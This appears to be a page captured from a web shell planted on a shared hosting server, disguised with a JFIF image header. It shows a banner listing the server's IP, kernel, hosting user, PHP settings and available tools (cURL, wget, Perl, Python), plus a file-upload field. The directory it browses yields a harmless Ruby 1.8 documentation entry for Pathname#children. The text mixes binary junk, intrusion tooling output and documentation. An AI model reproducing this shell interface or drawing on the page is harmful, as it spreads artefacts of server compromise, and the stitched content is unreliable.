????JFIF??x?x????'
Server IP : 104.21.96.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/alt/ruby18/share/ri/1.8/system/Pathname/ |
Upload File : |
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Returns the children of the directory (files and subdirectories, not recursive) as an array of Pathname objects. By default, the returned pathnames will have enough information to access the files. If you set <tt>with_directory</tt> to <tt>false</tt>, then the returned pathnames will contain the filename only. - !ruby/struct:SM::Flow::P body: "For example:" - !ruby/struct:SM::Flow::VERB body: " p = Pathname("/usr/lib/ruby/1.8")\n p.children\n # -> [ Pathname:/usr/lib/ruby/1.8/English.rb,\n Pathname:/usr/lib/ruby/1.8/Env.rb,\n Pathname:/usr/lib/ruby/1.8/abbrev.rb, ... ]\n p.children(false)\n # -> [ Pathname:English.rb, Pathname:Env.rb, Pathname:abbrev.rb, ... ]\n" - !ruby/struct:SM::Flow::P body: Note that the result never contain the entries <tt>.</tt> and <tt>..</tt> in the directory because they are not children. - !ruby/struct:SM::Flow::P body: This method has existed since 1.8.1. full_name: Pathname#children is_singleton: false name: children params: (with_directory=true) visibility: public